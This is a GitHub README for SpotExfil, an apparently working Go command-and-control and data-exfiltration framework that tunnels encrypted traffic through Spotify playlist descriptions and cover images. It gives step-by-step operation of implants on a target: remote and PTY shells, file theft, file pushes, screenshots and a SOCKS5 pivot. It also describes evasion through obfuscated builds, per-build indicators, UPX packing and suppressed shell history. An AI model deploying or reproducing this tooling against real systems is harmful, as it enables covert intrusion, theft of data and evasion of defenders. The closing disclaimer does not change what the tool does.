Skip to content
sourcefrenchyPublic

About

A simple way to exfiltrate data using spotify API

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Latest commit

 

History

181 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

SpotExfil — covert data exfiltration & C2 over Spotify playlists

CodeQL

SpotExfil

A proof-of-concept covert channel and C2 framework that uses Spotify playlist descriptions as a communication medium, 512 characters at a time.

Implemented in Go — a single standalone binary with no runtime dependencies.

More info at Exfiltration Series: SpotExfil

Features

Encryption and Opsec

  • AES-256-GCM encryption with PBKDF2-SHA256 key derivation (480K iterations)
  • Rotating HMAC tags -- C2 playlist identifiers rotate hourly, preventing long-term traffic correlation
  • Auto-generated session keys -- implant generates a NATO-phonetic passphrase on startup (never in argv)
  • Session binding -- all commands/results tied to a crypto-random session ID, preventing replay
  • Timestamp validation -- commands older than 5 minutes are rejected
  • HMAC-SHA256 client IDs -- 64-bit collision-resistant agent identifiers (keyed, unforgeable)
  • BLAKE2b integrity verification on encode and decode
  • Gzip compression reduces payload size 60-80% for text

C2 Framework

  • Multi-agent support -- agents, attach <id>, detach for managing multiple implants
  • Full PTY shell (pty) -- a real pseudo-terminal over the C2 channel: tab completion, vim, top, Ctrl+C, window resize. Keystrokes are batched to save round trips; falls back gracefully to ishell if the platform can't allocate a PTY
  • Interactive shell (ishell) -- line-based remote shell with command queuing, auto-detects bash/powershell
  • Direct shell on attach -- type commands directly when attached (no shell prefix needed)
  • SOCKS5 tunnel (tunnel [port]) -- pivot through the implant: local SOCKS5 proxy multiplexed over the C2 channel, reach hosts only the target can see
  • Live-session mode (--live) -- edit-in-place session playlists: 1 API call per message instead of 2, direct-GET polling, traffic that looks like normal playlist editing
  • Auto check-in -- implants announce themselves, operator sees connections in real-time
  • Modules: shell (exec commands), exfil (read files), push (write files to target), screenshot (screen capture), sysinfo (OS/network recon)
  • Smart rate limiting -- exponential backoff, human-readable error messages, auto-recovery
  • Parallel uploads -- bounded worker pool (4 workers) with per-chunk retries, ~4x faster large sends
  • Cached cover traffic -- filler-track artist lookup resolved once per process, not per playlist
  • Cover-image channel (send --cover) -- hide a whole payload (~200KB) in ONE playlist cover image instead of thousands of descriptions

Infrastructure

  • Standalone binary -- no runtime needed, static Go build
  • Cross-platform binaries -- macOS (Apple Silicon), Linux (x64), Windows (x64), stripped
  • Stealth -- cover playlist names, random filler tracks, jittered polling, aggressive cleanup
  • Config file support (~/.spotexfil.conf) so env vars are optional

Architecture

How it works

Spotify playlists are the mailbox: the operator and implant never talk to each other directly — they read and write encrypted chunks in playlist descriptions on a shared Spotify account, and delete each playlist right after reading it.

     OPERATOR                    SPOTIFY ACCOUNT                  IMPLANT
  (c2-operator)             private playlists = mailbox        (c2-implant)
        │                           │                               │
        │                           │◄──── 1. checkin ──────────────│  jittered
        │                           │   ("res" box, master key,     │  poll loop
        │◄─── poll ─────────────────│    hostname, os, user,        │  starts
        │    sees new agent         │    X25519 pubkey)             │
        │                           │                               │
        │──── 2. keyexchange ──────►│───── poll ───────────────────►│
        │   ("cmd" box, master key, │                               │ 3. ECDH +
        │    operator X25519 pubkey)│                               │    HKDF
        │                           │                               │
        │═════════ both sides now share a session key ══════════════│
        │              (forward secrecy established)                │
        │                           │                               │
        │──── 4. command ──────────►│───── poll ───────────────────►│
        │   ("cmd" box, session key,│                               │ 5. execute
        │    seq, 5-min timestamp,  │                               │    module:
        │    session binding)       │                               │    shell /
        │                           │                               │    exfil /
        │                           │◄──── 6. result ───────────────│    push /
        │◄─── poll ─────────────────│   ("res" box, session key)    │    screenshot
        │    7. decrypt, display,   │                               │
        │    store in history       │                               │
        │                           │                               │
        ▼                playlists are deleted immediately          ▼
                      after being read (both sides)

Every message — command, result, checkin — goes through the same pipeline:

  JSON ──► gzip ──► BLAKE2b ──► AES-256-GCM ──► base64 ──► split into
   (1)      (2)       (3)           (4)           (5)      ≤300-char chunks
                                                                  │
                          one playlist per chunk                  ▼
              ┌────────────────────────────────────────────────────────┐
              │  description =                                         │
              │  ┌──────────────────────┐ ┌──────────────────────────┐ │
              │  │ HMAC tag (12 hex)    │ │ base64( AES-256-GCM(     │ │
              │  │ rotates hourly,      │ │   {"c":channel,          │ │
              │  │ identifies our       │ │    "i":chunk#,           │ │
              │  │ playlists without    │ │    "seq":msg#}           │ │
              │  │ decrypting           │ │   + chunk data ) )       │ │
              │  └──────────────────────┘ └──────────────────────────┘ │
              └────────────────────────────────────────────────────────┘

  (1) message as JSON          (4) PBKDF2(master key) or raw session key
  (2) gzip, skipped if no win  (5) the 512-char Spotify description limit
  (3) integrity hash               is what caps chunks at ~300 chars

Why two encryption layers? The message layer (4) protects the payload end-to-end (master key before key exchange, X25519 session key after). The chunk layer protects the metadata (channel, chunk index, seq) with a fast HMAC-derived key, so a reader can identify and order chunks by tag prefix alone — one playlist-listing API call, no per-playlist fetches.

File exfiltration mode (send/receive) uses the same pipeline without the C2 envelope: chunks are stored with a zero-width-space marker and {"i":N} ordering metadata, under innocuous cover playlist names.

Repository layout

spotexfil/
├── go/
│   ├── cmd/spotexfil/       # Cobra CLI entrypoint
│   ├── internal/
│   │   ├── crypto/          # AES-GCM, PBKDF2, BLAKE2b, HMAC, X25519
│   │   │   └── testdata/    # Crypto test vectors
│   │   ├── encoding/        # File exfil pipeline
│   │   ├── protocol/        # C2 messages, encrypted descriptions
│   │   ├── shared/          # Embedded protocol.json (constants)
│   │   ├── spotify/         # zmb3/spotify/v2 wrapper
│   │   └── c2/              # Implant, operator, module registry
│   └── go.mod
├── Makefile                 # Build + test
└── README.md

Prerequisites

  1. Register an app at Spotify Developer Dashboard
  2. Add redirect URI (e.g., http://127.0.0.1:8888/callback)
  3. Provide credentials via env vars or ~/.spotexfil.conf:
export SPOTIFY_USERNAME=YourUsername
export SPOTIFY_CLIENT_ID=your_client_id
export SPOTIFY_CLIENT_SECRET=your_client_secret
export SPOTIFY_REDIRECTURI=http://127.0.0.1:8888/callback

Or create ~/.spotexfil.conf:

[spotify]
username = YourUsername
client_id = your_client_id
client_secret = your_client_secret
redirect_uri = http://127.0.0.1:8888/callback

Installation

Pre-built binaries (no runtime needed)

Download from dist/:

Variant Contents darwin linux windows
Full CLI (spotexfil-*) operator console + implant + exfil send/receive 11.2 MB 8.6 MB 8.2 MB
Implant (spotexfil-implant-*) implant only, all modules (no operator/readline/cobra) 9.9 MB 8.1 MB 7.6 MB
Implant-min (spotexfil-implant-min-*) implant without the screenshot module 9.8 MB 7.2 MB 7.4 MB
Obfuscated (spotexfil-obf-* / -obf-implant-*) garble + per-seed IOCs ~20 MB ~17 MB ~17 MB

The operator needs the full CLI; targets only need an implant variant.

make all                # Full CLI for all platforms
make implant            # Minimal implant (no operator console)
make implant-min        # Minimal implant without screenshot module
make obfuscated         # Obfuscated full CLI (garble + per-seed IOCs)
make obfuscated-implant # Obfuscated minimal implant — smallest deployable
make test               # Run the test suite (with race detector)
make lint               # go vet

Build from source

make all          # Cross-compile binaries for all platforms
make test         # Run the test suite (with race detector)
make lint         # go vet
make obfuscated   # Opsec build: garble + per-seed IOCs (see below)

Obfuscated builds

make obfuscated (full CLI) and make obfuscated-implant (minimal implant) produce hardened binaries:

  • garble (with -tiny -literals, both validated against the full test suite) scrambles package paths and function names, encrypts string literals, and strips module info (go version -m returns "unknown")
  • Per-seed IOCs: scripts/sanitize_protocol.py rewrites the cover names, filler artists, and crypto labels in the embedded protocol.json with seed-derived values (restored after the build), so no two builds share static indicators — verified: zero occurrences of spotexfil, cover names, or label strings in the binary
make obfuscated             # random seed, full CLI
make obfuscated-implant     # random seed, minimal implant
make obfuscated SEED=xyz    # reproducible
make upx-pack               # optional UPX pass on implant binaries (see note)

Note

UPX cuts implant binaries by ~60% (9.8MB → ~3.5MB), but packed binaries are a classic AV heuristic. Use it for transport size (e.g. delivery through the push module), not for reduced detectability.

Warning

Operator and implants must come from the same obfuscated build — the sanitized crypto labels differ from stock builds and from other seeds.

C2 Framework Support

SpotExfil works standalone (built-in operator console, see Usage) or as a transport for full C2 frameworks:

Framework Integration Status
Mythic (SpecterOps) spotify C2 Profile + spotexfil Payload Type — full Mythic UI, tasking, and operator workflow over playlist channels. Byte-exact AESPSK crypto interop, gRPC push streaming, cross-platform agent (macOS arm64, Linux x64, Windows x64). ✅ Code + docs complete — see docs/MYTHIC.md. Upstream listing PR after lab validation.
Sliver (Bishop Fox) Possible via a custom implant transport (protobuf envelopes) 🔭 Explored — not implemented
Cobalt Strike (Fortra) Would require Beacon protocol reimplementation 🔭 Explored — not planned

Why Mythic first: it's the only major framework where third-party transports are a first-class, documented extension point — the profile plugs our pkg/{spotify,protocol,crypto} engine into Mythic's tasking pipeline without modifying Mythic itself, and payloads build straight from the Mythic UI.

Want another framework? The transport layer (go/pkg/) is deliberately framework-agnostic — envelopes in, encrypted playlist chunks out.

Usage

End-to-end example: your first operation in 5 minutes

From zero to a working remote shell over Spotify playlists:

1. One-time Spotify setup (see Prerequisites): create a developer app, then put the credentials in ~/.spotexfil.conf on both the operator machine and the target:

[spotify]
username = YourUsername
client_id = your_client_id
client_secret = your_client_secret
redirect_uri = http://127.0.0.1:8888/callback

2. Stage a token on the target. Authenticate once on your own machine (any spotexfil command triggers the browser OAuth flow and writes .cache-<username>), then copy that file to the target — or export it inline:

# on the operator machine: mint the token once
./spotexfil clean

# deliver it to the target however you like, then there:
export SPOTIFY_TOKEN_JSON="$(cat .cache-YourUsername)"

3. Start the implant on the target (quiet mode, key to file — nothing sensitive on stdout):

./spotexfil-implant-darwin-arm64 --quiet --key-file /tmp/.sk --interval 30 --jitter 10

4. Start the operator with the key the implant generated:

./spotexfil c2-operator -k "$(cat /tmp/.sk)" --live

5. Operate. Within ~60s the implant checks in and forward secrecy negotiates automatically:

[+] New implant: Kepler
    alias     : Kepler
    client_id : 7f3a2b1c
    hostname  : target.local
    os        : darwin/arm64
    user      : admin

[15:30] c2> attach kepler
[*] Attached to Kepler (target.local)

[15:30] Kepler@target.local > whoami
[*] Command queued: seq=1 module=shell
--- Result seq=1 [shell] status=ok ---
admin

[15:31] Kepler@target.local > sysinfo        # OS/network recon
[15:32] Kepler@target.local > exfil /etc/hosts   # pull a file
[15:33] Kepler@target.local > push ./tool.sh /tmp/tool.sh  # stage a file
[15:34] Kepler@target.local > screenshot     # saved locally as JPEG
[15:35] Kepler@target.local > pty            # full interactive terminal
[*] PTY session active — Ctrl+] to exit
admin@target.local:~$ vim /tmp/notes.txt   # yes, really
admin@target.local:~$ ^]
[*] PTY session closed

[15:40] Kepler@target.local > tunnel 1080    # SOCKS5 pivot via the implant
[*] SOCKS5 tunnel listening on 127.0.0.1:1080 (via Kepler)

[15:45] Kepler@target.local > history        # everything is journaled
[15:46] Kepler@target.local > detach
[15:46] c2> clean                            # wipe all C2 playlists
[15:47] c2> quit                             # implants get an encrypted shutdown

Prefer less output and fewer API calls? Run both sides with --live (edit-in-place session playlists). Prefer stealth over speed? Keep the default create/delete churn, raise --interval, and use --modules shell,exfil,sysinfo,push to leave screenshot off the target.

C2 Mode

# Terminal 1: Start implant (auto-generates session key)
# Token must be pre-staged: SPOTIFY_TOKEN_JSON, --token-file, or .cache file.
# The implant NEVER runs interactive OAuth and NEVER writes a token cache.
./spotexfil-darwin-arm64 c2-implant --interval 30 --jitter 10

# Opsec flags:
#   --quiet / -q              suppress non-error output
#   --modules shell,exfil     module allowlist (e.g. disable screenshot
#                             to avoid the macOS Screen Recording prompt)
#   --token-file tok.json     pre-staged token (or SPOTIFY_TOKEN_JSON env)

# Output:
# [*] Session key: bravo-kilo-seven-echo-tango-lima
# [*] Use this key to start the operator:
#     ./spotexfil c2-operator -k "bravo-kilo-seven-echo-tango-lima"
#   Interval : 20-40s | Session : a3f2b7c91e04
#   Client ID : 7f3a2b1c9e04d8f1
#   X25519    : eb4debc295a5954dda3d...
# [*] Implant active — polling for commands
# [+] Check-in sent (7f3a2b1c) at 15:30:05
# [+] Forward secrecy established at 15:30:20

# Terminal 2: Operator (use the key shown by implant)
./spotexfil-darwin-arm64 c2-operator -k "bravo-kilo-seven-echo-tango-lima" --poll-interval 30

# Alternative: key from file or env var
./spotexfil-darwin-arm64 c2-operator --key-file /path/to/keyfile
SPOTEXFIL_KEY="bravo-kilo-seven-echo-tango-lima" ./spotexfil-darwin-arm64 c2-operator

Operator Console

  ┌─────────────────────────────────────────────┐
  │  ___            _   ___       __ _ _        │
  │ / __|_ __  ___ | |_| __|__ _/ _(_) |       │
  │ \__ \ '_ \/ _ \|  _| _|\ \ /  _| | |      │
  │ |___/ .__/\___/ \__|___/_\_\_| |_|_|_|      │
  │     |_|                                     │
  │         C2 OPERATOR CONSOLE                 │
  └─────────────────────────────────────────────┘

  Polling every 30s | Type 'help' for commands

[+] New implant: Kepler
    alias     : Kepler
    client_id : 7f3a2b1c
    hostname  : target.local
    os        : darwin/arm64
    user      : admin
    timestamp : 2026-04-18 15:30:05

[15:30] c2> agents

  NAME       ID         OS             HOSTNAME         USER       CONNECTED
  ---------- ---------- -------------- ---------------- ---------- -------------------
  Kepler     7f3a2b1c   darwin/arm64   target.local     admin      2026-04-18 15:30:05

[15:30] c2> attach kepler
[*] Attached to Kepler (target.local)
[15:30] Kepler@target.local > whoami
[*] Command queued: seq=1 module=shell
[15:30] 7f3a2b1c@target.local > uname -a
[*] Command queued: seq=2 module=shell
[15:30] 7f3a2b1c@target.local > sysinfo
[*] Command queued: seq=3 module=sysinfo
[15:30] 7f3a2b1c@target.local > results
[15:30] 7f3a2b1c@target.local > detach
[*] Detached from 7f3a2b1c9e04d8f1 (target.local)
[15:31] c2>

Interactive Shell (ishell)

[15:31] 7f3a2b1c@target.local > ishell

[*] Interactive shell to target.local (darwin/arm64)
[*] Shell: bash | Commands queue automatically | 'quit' to exit

7f3a2b1c@target.local $ ls -la /tmp
  -> queued seq=4
7f3a2b1c@target.local $ cat /etc/hosts
  -> queued seq=5
[queued: 2] 7f3a2b1c@target.local $

$ ls -la /tmp
drwxrwxrwt  12 root  wheel  384 Apr 18 15:31 .
...

$ cat /etc/hosts
127.0.0.1       localhost

7f3a2b1c@target.local $ quit
[*] Leaving interactive shell

Available Commands

Agent management:
  agents          List connected implants
  attach <name>   Attach by name or ID (e.g. 'attach kepler' or 'attach 7f3a')
  detach          Detach from current agent

Commands (when attached, type directly or use prefix):
  pty             Full interactive terminal (Ctrl+] to exit)
  ishell          Line-based remote shell (lighter than pty)
  <any command>   Sent as shell command to attached agent
  exfil <path>    Exfiltrate a file
  push <l> <r>    Push local file <l> to remote path <r>
  screenshot [n]  Capture the target's screen (saved as JPEG locally)
  tunnel [port]   SOCKS5 proxy via the implant (default 127.0.0.1:1080)
  sysinfo         Gather system info

History:
  history         Show command history (last 20, persisted across restarts)
  shellhist       Alias for history
  result <seq>    Show detailed result for a specific seq number

Other:
  results         Poll for pending results
  wait <seq>      Wait for a specific result
  status          Show agents and pending commands
  clean           Remove all C2 playlists
  help            Show this help
  quit / exit     Exit the console

Data Exfiltration Mode

# Send (encrypted + compressed, cover names)
./spotexfil-darwin-arm64 send -f /etc/resolv.conf -k "passphrase"

# Receive and decrypt
./spotexfil-darwin-arm64 receive -k "passphrase" -o output.txt

# Cover-image channel: ONE playlist cover instead of thousands of
# descriptions (~200KB capacity; fails cleanly if Spotify re-encodes)
./spotexfil-darwin-arm64 send -f secrets.zip -k "passphrase" --cover
./spotexfil-darwin-arm64 receive -k "passphrase" --cover -o secrets.zip

# Clean up
./spotexfil-darwin-arm64 clean

Live-Session Mode

# Both sides opt in with --live: one long-lived session playlist per
# direction, edited in place. 1 API call per message, direct-GET polls,
# and no create/delete burst signature. Falls back to classic mode
# automatically if the session playlist is lost.
./spotexfil-darwin-arm64 c2-implant --live --key-file /tmp/k
./spotexfil-darwin-arm64 c2-operator -k "$(cat /tmp/k)" --live

SOCKS5 Tunnel

[15:40] Kepler@target.local > tunnel 1080
[*] SOCKS5 tunnel listening on 127.0.0.1:1080 (via Kepler)

# In another terminal — reach hosts only the implant can see:
curl --socks5 127.0.0.1:1080 http://intranet.target.corp/

Full PTY Shell

[15:42] Kepler@target.local > pty
[*] PTY session active — Ctrl+] to exit

admin@target.local:~$ cd /var<TAB>        # real tab completion
admin@target.local:/var$ top              # full-screen programs work
admin@target.local:/var$ vim notes.txt    # so does vim
admin@target.local:/var$ ^]               # Ctrl+] exits
[*] PTY session closed

A real pseudo-terminal (creack/pty: bash/sh on Unix, ConPTY on Windows) streamed over the C2 channel. Keystrokes are batched (400ms / 200 bytes) to conserve messages, terminal resizes are forwarded (SIGWINCH), and the session runs with HISTFILE=/dev/null. Pair with --live for the most responsive experience; falls back to ishell if no PTY is available.

Proof it's a real terminal, not a pipe — from the integration test (go test -v -run PtyShowcase ./internal/c2/):

[operator -> implant] open (cols=100 rows=30)
[implant -> operator] open-ok

[operator types] tty
[terminal output]
/dev/ttys005                          <- kernel allocated a real PTY device

[operator types] test -t 0 && echo 'stdin IS a tty'
[terminal output]
stdin IS a tty                        <- bash confirms fd 0 is a terminal

[operator types] echo "term=$TERM size=$(stty size)"
[terminal output]
term=xterm-256color size=30 100       <- TERM + window size as requested

[operator resizes window] 132x43
[terminal output]
stty size -> 43 132                   <- resize reached the live PTY

Security Model

Encryption

  • All payloads: AES-256-GCM with PBKDF2-SHA256 (480K iterations)
  • C2 metadata: AES-256-GCM with HMAC-derived fast key (no PBKDF2 per-playlist)
  • Forward secrecy: X25519 ECDH key exchange + HKDF-SHA256 session keys
  • Integrity: BLAKE2b-160 hash verified on decode

Opsec Features

Feature Description
Forward secrecy X25519 ECDH per session — past traffic undecryptable even if master key leaks
Rotating tags C2 playlist identifiers rotate hourly via time-windowed HMAC
Auto-generated keys Implant generates NATO-phonetic passphrase (never in argv/ps)
Session binding Crypto-random session ID prevents replay and cross-session leaks
Timestamp validation Commands older than 5 minutes rejected
HMAC-SHA256 client IDs 64-bit keyed identifiers (unforgeable without the key)
Heartbeat checkins Implant re-announces every 60s so new operators see it within a minute
Aggressive cleanup Playlists deleted after read; orphaned results from dead sessions cleaned
Plugin modules Modules loadable as .so plugins at runtime (linux/macOS)
Async execution Commands run in goroutines; large exfils don't block command processing
Shutdown signal Operator broadcasts encrypted shutdown on exit, implants auto-reconnect
Cover names Innocuous playlist names ("Chill Vibes #a3f2")
Jittered polling Configurable interval + random jitter
Exponential backoff Independent read/write backoff with auto-recovery
Random OAuth state No tool fingerprint in OAuth flow

Implant hardening (host forensics)

Measures to minimize artifacts left on the implant host if an admin investigates:

Measure Detail
No interactive OAuth on target Implant fails closed unless a token is pre-staged (SPOTIFY_TOKEN_JSON, --token-file, or .cache) — no browser, no local callback listener
No token cache on target Implant never writes .cache-<username> (in-memory token only)
Self-cleanup on exit SIGINT/SIGTERM → best-effort cleanup of its command queue + session key zeroing (Go/GC caveat: string keys can't be reliably wiped)
Quiet mode --quiet suppresses non-error stdout (scrollback/syslog crumbs)
Module allowlist --modules shell,exfil,... disables noisy modules — e.g. screenshot triggers a macOS Screen Recording (TCC) prompt
Shell env hardening Commands run with HISTFILE=/dev/null HISTSIZE=0
Persistent shell worker One long-lived shell child per implant — no sh -c exec-per-command telemetry burst; cd/env persist across commands
Key delivery --key-file writes the session key 0600 instead of stdout; --quiet requires it. Prefer --token-file over SPOTIFY_TOKEN_JSON — env vars are readable via /proc/PID/environ (Linux), ps eww (macOS), Process Explorer (Windows)
Key zeroing Session keys zeroed on rotation, reconnect, and exit (best-effort; Go strings can't be wiped)
Obfuscated builds make obfuscated — garble name/literal obfuscation + per-seed cover names and crypto labels (no shared IOCs between builds)
Trimmed binaries Built with -trimpath -buildvcs=false -s -w — no local build paths embedded
Auto-generated keys Session key never appears in argv/ps
Key delivery --key-file writes the session key 0600 instead of stdout; --quiet requires it. Prefer --token-file over SPOTIFY_TOKEN_JSON — env vars are readable via /proc/PID/environ (Linux), ps eww (macOS), Process Explorer (Windows)
Key zeroing Session keys zeroed on rotation, reconnect, and exit (best-effort; Go strings can't be wiped)

Note: this PoC hides traffic content, not presence. On a host where the user never runs Spotify, connections to api.spotify.com are themselves an anomaly.

Resilience

  • Operator restart: implant heartbeats every 60s, new operator picks it up automatically
  • Operator Ctrl+C (no clean shutdown): implant continues polling, re-checkins on heartbeat
  • Wrong key then correct key: implant is invisible to wrong-key operator, visible to correct-key operator within 60s
  • Forward secrecy trade-off: results from a dead operator session are marked lost in history (encrypted with prior X25519 keys — by design). Re-send the command after reconnecting. Opt-in workaround: c2-operator --persist-session stores session keys encrypted on disk (~/.spotexfil-session, 0600, AES-GCM with an HMAC-derived key from the master key) so a restarted operator can still decrypt in-flight results — at the cost of forward secrecy across restarts.
  • Persistent history: ~/.spotexfil-history.json survives operator restarts. Use history to see all past commands/results, result <seq> for full details including output and latency.

API Optimization

Spotify rate limits: ~180 requests per rolling 30-second window per app.

Before After
API calls per poll 1 listing + N GetPlaylist (80+ on a real account) = 81 calls 1 listing + client-side tag filter = 1-3 calls
API calls per exfil read/clean 1 listing + N GetPlaylist = 81 calls 1 listing, description read client-side = 1-3 calls
API calls per playlist created 1 create + search + top-tracks + add-tracks = 4 calls 1 create + 1 add-tracks (artist lookup cached once per process) = 2 calls
Large payload upload Sequential, 100ms sleep per chunk 4 parallel workers, per-chunk retry with server-honored backoff
Effective req/30s at --interval 30 ~160 (near limit) ~2 (well under)
Min safe interval 60s+ 20s
Write block behavior Everything backs off, implant goes deaf Reads keep polling, only writes back off independently

The SimplePlaylist listing already includes the description field. Both C2 playlists (encrypted HMAC tag prefix) and exfil payload playlists (zero-width marker) are identified client-side from the listing — no per-playlist GetPlaylist calls. Personal playlists (80+) are skipped with zero API cost. A full-details fetch only happens as a fallback when a listing description is empty.

Filler-track cover traffic is resolved once per process (one artist search + one top-tracks call), then a shuffled subset of the cached track IDs is added to each playlist — previously 3 API calls per playlist created.

Uploads use a bounded worker pool (4 workers) with per-chunk retries: a failed chunk is retried up to 3 times, honoring the server-provided Retry-After when present, and no longer aborts the whole payload.

Read (polling for commands) and write (checkin, sending results) have independent backoff timers. A Spotify write block doesn't stop the implant from receiving and executing commands.

What an analyst sees on Spotify

  • Private playlists with names like "Morning Coffee #b7c2"
  • Descriptions are opaque encrypted blobs (HMAC tag + AES-GCM ciphertext)
  • No plaintext metadata, no sequential naming, no detectable patterns
  • Playlists are deleted within seconds of being read
  • HMAC tag rotates hourly — no permanent correlation across time windows

Testing

make test         # Run all tests (go test -race)

Test coverage includes:

  • Crypto: AES-GCM, PBKDF2, BLAKE2b, HMAC, X25519 ECDH, HKDF session key derivation
  • Forward secrecy: full key exchange simulation, session isolation, forward secrecy property verification
  • Protocol resilience: raw encode/decode, master-key fallback, operator restart scenario, implant fallback decryption
  • Module registry: dynamic register/unregister, concurrent access (race detector)
  • Operator concurrency: shared-state locking (agents, session keys, history) verified with -race; history index, cap, and save debouncing
  • Integration: full C2 roundtrips, multi-command queue, channel isolation, cleanup
  • Stress: 100+ random payloads, concurrent encoding, edge cases
  • Test vectors: crypto validation against shared vectors in go/internal/crypto/testdata/

Limitations

  • ~1MB max payload (~2000 playlists)
  • Large files take time (parallel workers help; still 1 playlist per 512-char chunk)
  • Spotify rate limits: ~180 req/30s rolling window, write blocks can escalate to 24h
  • C2 polling adds latency (configurable, default 20-60s)

Disclaimer

This is a proof-of-concept for educational and authorized security research purposes only. Do not use for unauthorized data exfiltration or unauthorized access to computer systems. The author is not responsible for misuse.

TODO

  • Account rotation support
  • Additional C2 modules (persistence, clipboard)
  • Multi-account relay / dead drops
  • DCT-domain steganography (survives Spotify cover re-encoding)

About

A simple way to exfiltrate data using spotify API

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Used by

Contributors

Languages